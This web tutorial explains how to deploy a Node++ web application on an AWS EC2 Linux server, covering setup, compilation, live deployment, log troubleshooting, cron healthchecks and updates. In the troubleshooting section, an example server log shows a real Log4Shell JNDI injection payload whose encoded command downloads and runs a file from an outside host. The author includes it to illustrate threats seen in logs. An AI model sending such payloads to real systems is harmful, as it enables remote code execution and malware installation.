Home  /  Documentation  /  Tutorials  /  Putting your web application online – Part 2 – Node++ app on the server

Putting your web application online – Part 2 – Node++ app on the server

Previous part: Putting your web application online – Part 1 – Server in the cloud


Starting point:You have a Node++ application on your laptop and Linux server permanently connected to the internet
This part result:Everyone can access your application via  http://<your server IP address>
Skill level:Junior
Time:About 15 minutes

Steps to take:

  1. Access your server
  2. Install tools
  3. Copy your app
  4. Compile
  5. Live setup
  6. Troubleshooting
  7. Healthchecks
  8. Updates

During this part I refer to your home or office computer as laptop, simply to avoid bloating text with the fraze like your laptop or home or office desktop computer.

Similarly, 1.2.3.4 should be replaced with your server's IP address.

For Linux commands $ indicates default user prompt and # is a root prompt.


Step 1 – Access your server

The first thing we want is a console (shell) access. If your laptop happens to be powered by Linux or macOS, you don't have to install anything, just need to know how to ssh.

Windows 10 (and newer) users can also use plain cmd window.

On AWS EC2 instance, default user is ec2-user:

ssh -i C:\keys\npp_hello.pem ec2-user@1.2.3.4

If you encounter Permissions for 'C:\\keys\\npp_hello.pem' are too open error, you'll have to revoke all the permissions to your pem file, except of full access to yourself via right click -> Properties -> Security -> Advanced.

As for older Windows: there are a couple of reliable options. If you don't have your favourite yet, I've been using PuTTY for years and it still serves me well.


Step 2 – Install tools

It's just a couple of one-liners to execute. The commands below are for EC2 instance (Fedora/RHEL family). If you use different distro, relevant commands can be found in the Cheat Sheets.

Install compiler

$ sudo yum install gcc-c++

Install OpenSSL headers

$ sudo yum install openssl-devel

Step 3 – Copy your app

Let's start with some organizing. As we're not planning for a new global Netflix infrastructure yet, we can easily fit development and live on the same server. I typically have two project directories: dev and live.

In this step, let's just create a dev:

$ mkdir dev

~/dev will now be our development directory.

Now is the time to bring our code here. We've got three options:

  1. Develop on laptop, simple copy to the server
  2. Develop on laptop, distribute via source control system (like git)
  3. Develop directly on server

Depending on your choice and your laptop operating system, there are many options available. If I develop my own things, I use the first option and copy to the server with WinSCP. For the team projects we use git.

If you don't have your own project yet and prefer to start with Node++ Hello World, you could do:

$ wget https://nodepp.org/nodepp_2.2.1.tar.gz $ tar xpzf nodepp_2.2.1.tar.gz -C dev

Step 4 – Compile

Because in this part we don't prepare an SSL certificate yet, make sure that src/npp_app.h does not have NPP_HTTPS defined. If it does, for this part comment it. We'll cover this in the next part.

# -------------------------------------------------------------- # only the first time after copying from Windows or cloning git: $ chmod +x ~/dev/src/m $ chmod +x ~/dev/bin/nppmake # -------------------------------------------------------------- $ cd dev/src $ ./m

Step 5 – Live setup

Even in our small startup setup we want to separate development and live directories for several reasons. The simplest one is, we may not be allowed to overwrite executables while they are running. And we obviously want them running 24/7. The second reason is that we want some space as an error margin if something goes wrong. Keeping separate development allows us also to keep different configuration, connect to a different (test) database, etc.

Lets' create live directory:

$ cd # go back to user's home directory $ mkdir live

Now we can copy the runtime part of the project. This includes the following directories:

For the first time, we could do this manually, like this:

$ cp -r ~/dev/bin ~/live $ cp -r ~/dev/res ~/live $ cp -r ~/dev/resmin ~/live $ cp -r ~/dev/snippets ~/live $ mkdir ~/live/logs

But for the next deployments I use the following script in ~/live/bin:

#!/bin/sh export NPP_DEV=/home/ec2-user/dev export NPP_LIVE=/home/ec2-user/live # --------------------------------------------------------------------- echo "Copying app from dev to live..." # --------------------------------------------------------------------- cp -p $NPP_DEV/bin/npp_app $NPP_LIVE/bin cp -p $NPP_DEV/bin/npp_svc $NPP_LIVE/bin 2>/dev/null cp -p $NPP_DEV/bin/npp_watcher $NPP_LIVE/bin 2>/dev/null cp -p $NPP_DEV/bin/strings.* $NPP_LIVE/bin 2>/dev/null cp -pr $NPP_DEV/res/* $NPP_LIVE/res 2>/dev/null cp -pr $NPP_DEV/resmin/* $NPP_LIVE/resmin 2>/dev/null cp -pr $NPP_DEV/snippets/* $NPP_LIVE/snippets 2>/dev/null

I call it copyfromdev. The name actually matters, because it reminds me where I should be when deploying new version (more on this later).

If we copied our stuff from Windows or cloned git repository, we'll have to set the executable flags for the scripts in bin (this first time only):

$ cd ~/live/bin $ chmod +x nppstart $ chmod +x nppstop $ chmod +x copyfromdev

The next stop before the launch is to check the configuration. Edit ~/live/bin/npp.conf (I use the old good vi):

$ vi ~/live/bin/npp.conf

As this is not a drill, we want to set the port numbers to their proper values:

httpPort=80 httpsPort=443

In order to bind sockets to ports below 1024 we need to be root:

$ sudo su -

We should add $NPP_DIR to the environment to make clear where Node++ programs and scripts should look for the files. Let's edit root's profile:

# vi .bash_profile

(On different systems the profile file may have a different name, like .profile, .bashrc, etc.)

Let's add:

export NPP_DIR=/home/ec2-user/live

And add it to $PATH:

export PATH=$PATH:$NPP_DIR/bin

Let's update the current terminal session:

# . .bash_profile

At this point we are ready to fire! Let's do this:

# nppstart

In the browser address box, type  http://<your server IP address>

Node++ Hello World


Step 6 – Troubleshooting

If you don't see your application in the browser or it behaves not as expected, the first thing to look into is the logs directory. There are at least two opitions: directory is empty or it contains a log file:

# cd ~/live/logs # ls -l -rw-r--r-- 1 root root 9132 Apr 5 11:15 20220405_1115.log #

If it's empty, your $NPP_DIR might not be set. Try:

# echo $NPP_DIR

If case of empty response, look again at your system documentation to make sure which file is responsible for user's environment. On AWS EC2 Linux 2 AMI it's ~/.bash_profile. In there you should have NPP_DIR environment variable exported and added to PATH (see previous step). Note that this file is only read during login so your current terminal session needs refreshing (. ~/.bash_profile) or restarting.

If you see a log file in logs, look inside (you can use tools like cat, less, more, view, grep, tail, etc). Log files is the primary diagnostic tool. Scan them for ERROR. There are many possible scenarios but the log file should always give you a fairly clear message what's going on.

For the first couple of days I recommend to increase logLevel in npp.conf to 4. This way you will see the complete requests coming in and response headers going out:

Connection accepted: 114.119.149.89, ci=0, fd=9 ci=0, parse_req -------------------------------------------------- 2022-04-05 00:29:26 Request 7 -------------------------------------------------- Incoming buffer: [GET /docs/examples/static HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot) Accept-Language: en Accept-Encoding: gzip, deflate Host: 3.121.247.129 Cache-Control: max-age=259200 Connection: keep-alive] ua_type = NPP_UA_TYPE_MOB G_connections[ci].lang: [EN] npp_lib_set_formats, lang [EN] host_id = 0 required_auth_level = 1 uri w/o qs [docs/examples/static] bot = TRUE ci=0, process_req Calling npp_app_main... M_title [Static web server] snippet [docs_examples_static.html] nav_path_found && snippet[0] ci=0, gen_response_header Compressing content Compression success, old len=1925, new len=895 Response status: 200 Response header: [HTTP/1.1 200 OK Date: Tue, 05 Apr 2022 00:29:26 GMT Vary: Accept-Encoding Last-Modified: Mon, 04 Apr 2022 17:00:25 GMT Expires: Thu, 05 May 2022 00:00:00 GMT Content-Encoding: deflate Content-Type: text/html; charset=utf-8 Content-Length: 895 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: keep-alive Server: Node++ ] Processing time: 0.117 ms [docs] 114.119.149.89 - - [05/Apr/2022:00:29:26 +0000] "GET /docs/examples/static HTTP/1.1" 200 895 "" "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" #7 0.117 ms [bot] End of processing, reset_conn

To me it was (and still is) by far the most importatnt learning tool. It not only shows the current trends but also the most common threats. Within hours you'll see scanners attempting to break in. Reading those logs allowed me to be aware of the whole threat classes. This is one of the reasons I avoid plug-in model for Node++. In these days you just can't be secure enough.

Malicious request example:

Connection accepted: 144.22.198.141, ci=0, fd=9 ci=0, parse_req -------------------------------------------------- 2022-04-05 00:14:45 Request 6 -------------------------------------------------- Incoming buffer: [GET / HTTP/1.1 Accept: application/json, text/plain, */* X-Api-Version: t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodH RwOi8vMTQwLjIzOC4xODAuMzQvaW5pdDIzOyBjdXJsIC1PIGh0dHA6Ly8xNDAuMjM4LjE4MC4zNC9pbml0MjM7IGNobW9kIDc3NyBpbml0MjM7IC4vaW5pdDIzIHJ1bm5lcg==}') User-Agent: t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwO i8vMTQwLjIzOC4xODAuMzQvaW5pdDIzOyBjdXJsIC1PIGh0dHA6Ly8xNDAuMjM4LjE4MC4zNC9pbml0MjM7IGNobW9kIDc3NyBpbml0MjM7IC4vaW5pdDIzIHJ1bm5lcg==}') Referer: t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8v MTQwLjIzOC4xODAuMzQvaW5pdDIzOyBjdXJsIC1PIGh0dHA6Ly8xNDAuMjM4LjE4MC4zNC9pbml0MjM7IGNobW9kIDc3NyBpbml0MjM7IC4vaW5pdDIzIHJ1bm5lcg==}') Cookie: t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vM TQwLjIzOC4xODAuMzQvaW5pdDIzOyBjdXJsIC1PIGh0dHA6Ly8xNDAuMjM4LjE4MC4zNC9pbml0MjM7IGNobW9kIDc3NyBpbml0MjM7IC4vaW5pdDIzIHJ1bm5lcg==}') Authentication: t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBod HRwOi8vMTQwLjIzOC4xODAuMzQvaW5pdDIzOyBjdXJsIC1PIGh0dHA6Ly8xNDAuMjM4LjE4MC4zNC9pbml0MjM7IGNobW9kIDc3NyBpbml0MjM7IC4vaW5pdDIzIHJ1bm5lcg==}') Bearer: t('${${env:] Truncating X-Api-Version's value Truncating User-Agent's value ua_type = NPP_UA_TYPE_DSK Truncating Referer's value Truncating Cookie's value Truncating Authentication's value host_id = 0 required_auth_level = 1 M_index_present = -1 bot = FALSE ci=0, process_req npp_eng_session_start seed_rand ci=0, starting new session, si=1 New CSRFT generated Calling npp_app_session_init... 1 session(s) Calling npp_app_main... ci=0, gen_response_header Response status: 200 Response header: [HTTP/1.1 200 OK Date: Tue, 05 Apr 2022 00:14:45 GMT Vary: Accept-Encoding Last-Modified: Mon, 04 Apr 2022 17:00:25 GMT Expires: Thu, 05 May 2022 00:00:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 3816 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close Set-Cookie: as=8Uemz16TTFYVAfy; httponly Server: Node++ ] Processing time: 0.148 ms [] 144.22.198.141 - - [05/Apr/2022:00:14:45 +0000] "GET / HTTP/1.1" 200 3816 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:} //150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvaW5pdDIzOyBjdXJsIC1PIGh0dHA6Ly8xNDAuMjM4LjE4MC4zNC9p bml0MjM7IGNobW9kIDc3NyBpbml0MjM7IC4vaW5pdDIzIHJ1bm5lc" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:13 89/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvaW5pdDIzOyBjdXJsIC1PIGh0dHA6Ly8xNDAuMjM4LjE4MC4zNC9pbml0MjM7IGNobW9kIDc 3NyBpbml0MjM7IC4vaW5pdDIzIHJ1bm5lc" #6 0.148 ms End of processing, close_connection

Log files are created daily, every midnight GMT.


Step 7 – Healthchecks

Things may go well but crashes happen or unexpected server restart can happen. We may be on holidays and not checking our application for days.

Luckily for us, modern operating systems have some kind of task scheduler. In case of Linux this is cron. We set cron tasks using crontab with option e, like edit. Cron tasks are set per user so we need still be root to set tasks for our live environment:

# crontab -e

(Weirdly enough Amazon Linux 2023 comes without cron, so you need to install it with yum install cronie)

You can paste something like this:

NPP_DIR=/home/ec2-user/live #----------------------------------------------------------------------------- # min hour day month weekday command #----------------------------------------------------------------------------- # Node++ Watcher 0 * * * * $NPP_DIR/bin/npp_watcher

This way every hour npp_watcher will make a request. If it won't be able to connect for 60 seconds, it will restart the application.


Step 8 – Updates

Having our application online, we can switch back to developing. Let's suppose we have made some changes, tested them and now we want them to go live. Bearing in mind that we should avoid full hour (or whatever we set in the healthcheck step), here we go (as root):

# nppstop # copyfromdev # nppstart

It typically takes about 1 second for each command. To speed things up even more, it can be one shell script, let's call it updatefromdev and save it in ~/live/bin.


That's it for now! We have our application available for everyone at the IP address, 24/7.


Next part: Putting your web application online – Part 3 – Domain


Is something wrong here? Please, let us know! Envelope